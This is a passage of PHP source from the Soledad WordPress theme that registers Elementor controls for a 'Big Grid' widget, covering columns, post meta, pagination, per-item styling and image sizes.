				'6' => esc_html__( '6 Columns', 'soledad' )
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_columns_tablet', array(
			'label'     => __( 'Grid/Masonry Style Columns on Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_columns_mobile', array(
			'label'     => __( 'Grid/Masonry Style Columns on Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '1',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_postmeta', array(
			'label'     => __( 'Showing Post Data', 'soledad' ),
			'type'      => Controls_Manager::SELECT2,
			'default'   => array( 'cat', 'title', 'author', 'date' ),
			'multiple'  => true,
			'options'   => array(
				'cat'     => esc_html__( 'Categories', 'soledad' ),
				'title'   => esc_html__( 'Title', 'soledad' ),
				'author'  => esc_html__( 'Author', 'soledad' ),
				'date'    => esc_html__( 'Date', 'soledad' ),
				'comment' => esc_html__( 'Comments', 'soledad' ),
				'views'   => esc_html__( 'Views', 'soledad' ),
				'reading' => esc_html__( 'Reading Time', 'soledad' ),
				'excerpt' => esc_html__( 'Post Excerpt', 'soledad' ),
			),
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'title_length', array(
			'label'     => __( 'Custom Title Words Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 100,
			'step'      => 1,
			'default'   => '',
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'primary_cat', array(
			'label'        => __( 'Show Primary Category Only', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'description'  => __( 'If you using Yoast SEO or Rank Math plugin, this option will show only the primary category from those plugins. If you don\'t use those plugins, it will show the first category in the list categories of the posts.', 'soledad' ),
			'label_on'     => __( 'On', 'soledad' ),
			'label_off'    => __( 'Off', 'soledad' ),
			'return_value' => 'on',
			'default'      => '',
			'condition'    => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'hide_cat_small', array(
			'label'        => __( 'Hide Post Categories on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => 'yes',
			'condition'    => array(
				'style!'       => array( 'style-1', 'style-2' ),
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'hide_meta_small', array(
			'label'        => __( 'Hide Post Meta( Author, Date.. ) on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'       => array( 'style-1', 'style-2' ),
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'hide_excerpt_small', array(
			'label'        => __( 'Hide Only Post Excerpt on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'       => array( 'style-1', 'style-2' ),
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'hide_subtitle_mobile', array(
			'label'        => __( 'Hide Post Categories/Sub Title on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_desc_mobile', array(
			'label'        => __( 'Hide All Post Meta/Description on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_excerpt_mobile', array(
			'label'        => __( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'excerpt_length', array(
			'label'     => __( 'Custom Excerpt Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 500,
			'step'      => 1,
			'default'   => 10,
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'show_readmore', array(
			'label'        => __( 'Show Read More Button', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Show', 'soledad' ),
			'label_off'    => __( 'Hide', 'soledad' ),
			'return_value' => 'show',
			'default'      => '',
			'condition'    => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'hide_rm_small', array(
			'label'        => __( 'Hide Read More Button on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'        => array( 'style-1', 'style-2' ),
				'show_readmore' => 'show',
				'bgquery_type'  => 'post'
			),
		) );

		$this->add_control( 'hide_readmore_mobile', array(
			'label'        => __( 'Hide Read More Button on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'conditions'   => array(
				'relation' => 'or',
				'terms'    => array(
					array(
						'terms' => array(
							array( 'name' => 'bgquery_type', 'operator' => '===', 'value' => 'post' ),
							array( 'name' => 'show_readmore', 'operator' => '===', 'value' => 'show' )
						)
					),
					array(
						'terms' => array(
							array( 'name' => 'bgquery_type', 'operator' => '===', 'value' => 'custom' )
						)
					),
				)
			),
		) );

		$this->add_control( 'show_formaticon', array(
			'label'        => __( 'Show Post Format Icons', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'formaticon_pos', array(
			'label'     => __( 'Post Format Icon Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'top-right',
			'options'   => array(
				'top-right'    => esc_html__( 'Top Right', 'soledad' ),
				'top-left'     => esc_html__( 'Top Left', 'soledad' ),
				'bottom-right' => esc_html__( 'Bottom Right', 'soledad' ),
				'bottom-left'  => esc_html__( 'Bottom Left', 'soledad' ),
				'center'       => esc_html__( 'Center', 'soledad' ),
			),
			'condition' => array( 'bgquery_type' => 'post', 'show_formaticon' => 'yes' ),
		) );

		$this->add_control( 'show_reviewpie', array(
			'label'        => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'reviewpie_pos', array(
			'label'     => __( 'Review Scores Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'top-left',
			'options'   => array(
				'top-right'    => esc_html__( 'Top Right', 'soledad' ),
				'top-left'     => esc_html__( 'Top Left', 'soledad' ),
				'bottom-right' => esc_html__( 'Bottom Right', 'soledad' ),
				'bottom-left'  => esc_html__( 'Bottom Left', 'soledad' ),
				'center'       => esc_html__( 'Center', 'soledad' ),
			),
			'condition' => array( 'bgquery_type' => 'post', 'show_reviewpie' => 'yes' ),
		) );

		$this->add_control( 'onecol_mobile', array(
			'label'        => __( 'Display One Column on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!' => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'sameh_mobile', array(
			'label'        => __( 'Display Grid Items Same Height on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'onecol_mobile' => 'yes',
				'style!'        => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'bgcontent_pos', array(
			'label'     => __( 'Big Grid Content Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'on',
			'options'   => array(
				'on'    => esc_html__( 'On Image', 'soledad' ),
				'below' => esc_html__( 'Below Image', 'soledad' ),
				'above' => esc_html__( 'Above Image', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'bg_gap', array(
			'label'     => __( 'Gap Between Grid & Mansonry Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgstyle-1 .penci-dflex'                                              => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2); width: calc(100% + {{SIZE}}px);',
				'{{WRAPPER}} .penci-bgstyle-2 .item-masonry, {{WRAPPER}} .penci-bgstyle-1 .penci-bgitem' => 'padding-left: calc({{SIZE}}px/2); padding-right: calc({{SIZE}}px/2); margin-bottom: {{SIZE}}px',
				'{{WRAPPER}} .penci-bgstyle-2 .penci-biggrid-data'                                       => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2);',
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'bg_othergap', array(
			'label'     => __( 'Gap Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid' => '--pcgap: {{SIZE}}px;',
			),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'penci_img_ratio', array(
			'label'     => __( 'Adjust Ratio of Images( Unit % )', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'default'   => array( 'size' => 66 ),
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'style' => array( 'style-1' ) ),
		) );

		$this->add_responsive_control( 'imgradius', array(
			'label'     => __( 'Custom Border Radius for Images', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-thumb, {{WRAPPER}} .pcbg-bgoverlay, {{WRAPPER}} .penci-image-holder' => 'border-radius: {{SIZE}}px; -webkit-border-radius: {{SIZE}}px;',
			)
		) );

		$this->add_responsive_control( 'bg_height', array(
			'label'     => __( 'Custom Big Grid Height (Unit is px)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid .penci-fixh' => '--bgh: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'bg_pagination', array(
			'label'     => esc_html__( 'Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'paging', array(
			'label'       => __( 'Page Navigation Style', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'none',
			'options'     => array(
				'none'     => esc_html__( 'None', 'soledad' ),
				'nextprev' => esc_html__( 'Ajax Next/Previous', 'soledad' ),
				'numbers'  => esc_html__( 'Page Navigation Numbers', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Posts Button', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
			),
			'description' => __( 'Load More Posts Button & Infinite Scroll just works on frontend only.', 'soledad' ),
			'condition'   => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'paging_align', array(
			'label'     => __( 'Page Navigation Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'align-center',
			'options'   => array(
				'align-center' => esc_html__( 'Center', 'soledad' ),
				'align-left'   => esc_html__( 'Left', 'soledad' ),
				'align-right'  => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array( 'bgquery_type' => 'post', 'paging!' => 'none' ),
		) );

		$this->add_responsive_control( 'paging_matop', array(
			'label'     => __( 'Margin Top for Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pagination' => 'margin-top: {{SIZE}}px' ),
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->end_controls_section();

		$this->register_query_section_controls();

		$this->start_controls_section( 'bg_custom', array(
			'label'     => __( 'Custom Grid Items', 'soledad' ),
			'condition' => array( 'bgquery_type' => 'custom' ),
		) );

		$repeater = new Repeater();
		$repeater->start_controls_tabs( 'biggrid_repeater' );

		$repeater->start_controls_tab( 'content', array( 'label' => __( 'Content', 'soledad' ) ) );

		$repeater->add_control( 'image', array(
			'label'   => _x( 'Select Image', 'soledad' ),
			'type'    => Controls_Manager::MEDIA,
			'default' => array( 'url' => Utils::get_placeholder_image_src() ),
		) );

		$repeater->add_control( 'sub_title', array(
			'label'       => __( 'Sub title', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => __( 'Sub title', 'soledad' ),
			'label_block' => true,
		) );

		$repeater->add_control( 'title', array(
			'label'       => __( 'Title', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => __( 'Heading Title', 'soledad' ),
			'label_block' => true,
		) );

		$repeater->add_control( 'title_link', array(
			'label'       => __( 'Add Link for Title & Image', 'soledad' ),
			'type'        => Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
		) );

		$repeater->add_control( 'desc', array(
			'label'      => __( 'Description', 'soledad' ),
			'type'       => Controls_Manager::TEXTAREA,
			'default'    => __( 'I am demo text - click edit button to change me.', 'soledad' ),
			'show_label' => true,
		) );

		$repeater->add_control( 'button_text', array(
			'label'   => __( 'Button Text', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => __( 'Read More', 'soledad' ),
		) );

		$repeater->add_control( 'button_link', array(
			'label'       => __( 'Button Link', 'soledad' ),
			'type'        => Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
		) );

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'background', array( 'label' => __( 'Background', 'soledad' ) ) );

		$repeater->add_control( 'item_overlaybg', array(
			'label'     => esc_html__( 'Custom Overlay Background for This Item. It will only affect this item only. To adjust the style for all items, check options on the Style tab at the top.', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$repeater->add_group_control( Group_Control_Background::get_type(), array(
			'name'     => 'item_bg',
			'label'    => __( 'Overlay Background', 'soledad' ),
			'types'    => array( 'classic', 'gradient', 'video' ),
			'selector' => '{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-bgoverlay.active-overlay, {{WRAPPER}} {{CURRENT_ITEM}} .pcbg-bgoverlaytext.active-overlay',
		) );

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'style', array( 'label' => __( 'Style', 'soledad' ) ) );

		$repeater->add_control( 'custom_style', array(
			'label'       => __( 'Custom', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'description' => __( 'Set custom style that will only affect this item only. To adjust the style for all items, check options on the "Style" tab at the top.', 'soledad' ),
		) );

		$repeater->add_control( 'horizontal_position', array(
			'label'                => __( 'Horizontal Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto !important',
				'center' => 'margin-left: auto !important; margin-right: auto !important;',
				'right'  => 'margin-left: auto !important',
			),
			'conditions'           => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				),
			),
		) );

		$repeater->add_control( 'vertical_position', array(
			'label'                => __( 'Vertical Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-flex' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
			'conditions'           => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			),
		) );

		$repeater->add_control( 'text_align', array(
			'label'       => __( 'Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-flex' => 'text-align: {{VALUE}}'
			),
			'conditions'  => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			),
		) );

		$repeater->add_control( 'subtitle_color', array(
			'label'      => __( 'Sub Title Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci-bgrid-based-custom {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-above'      => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-bgrid-based-custom {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-above span' => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-bgrid-based-custom {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-above a'    => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-bgrid-based-custom {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-sub-title'  => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'title_color', array(
			'label'      => __( 'Title Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-title'   => 'color: {{VALUE}}',
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-title a' => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'title_hcolor', array(
			'label'      => __( 'Title Hover Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-title a:hover' => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'desc_color', array(
			'label'      => __( 'Description Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-meta'   => 'color: {{VALUE}}',
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-meta a' => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_color', array(
			'label'      => __( 'Button Text Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}}'
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_hcolor', array(
			'label'      => __( 'Button Text Hover Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} {{CURRENT_ITEM}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_border_color', array(
			'label'      => __( 'Button Border Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_border_hcolor', array(
			'label'      => __( 'Button Border Hover Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} {{CURRENT_ITEM}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_bg_color', array(
			'label'      => __( 'Button Background Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_bg_hcolor', array(
			'label'      => __( 'Button Background Hover Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} {{CURRENT_ITEM}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_responsive_control( 'bgoverlay_padding', array(
			'label'      => __( 'Content Text Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_responsive_control( 'bgoverlay_margin', array(
			'label'      => __( 'Content Text Margin', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control( 'biggrid_items', array(
			'label'       => __( 'Big Grid Custom Items', 'soledad' ),
			'type'        => Controls_Manager::REPEATER,
			'show_label'  => true,
			'fields'      => $repeater->get_controls(),
			'default'     => array(
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #1', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #2', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #3', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #4', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #5', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #6', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
			),
			'title_field' => '{{{ title }}}',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'biggrid_section_imgsize', array(
			'label' => __( 'Custom Image Sizes', 'soledad' ),
		) );

		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Custom Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'bthumb_size', array(
			'label'     => __( 'Image Size for Big Items', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'mthumb_size', array(
			'label'   => __( 'Custom Image Size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->end_controls_section();

		$this->register_block_title_ajax_filter( false, [ 'bgquery_type' => 'post' ] );

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_biggrid_design', array(
			'label' => __( 'Big Grid Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bg_pos_display', array(
			'label'     => esc_html__( 'Content Text Position and Display', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'content_horizontal_position', array(
			'label'                => __( 'Content Text Horizontal Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
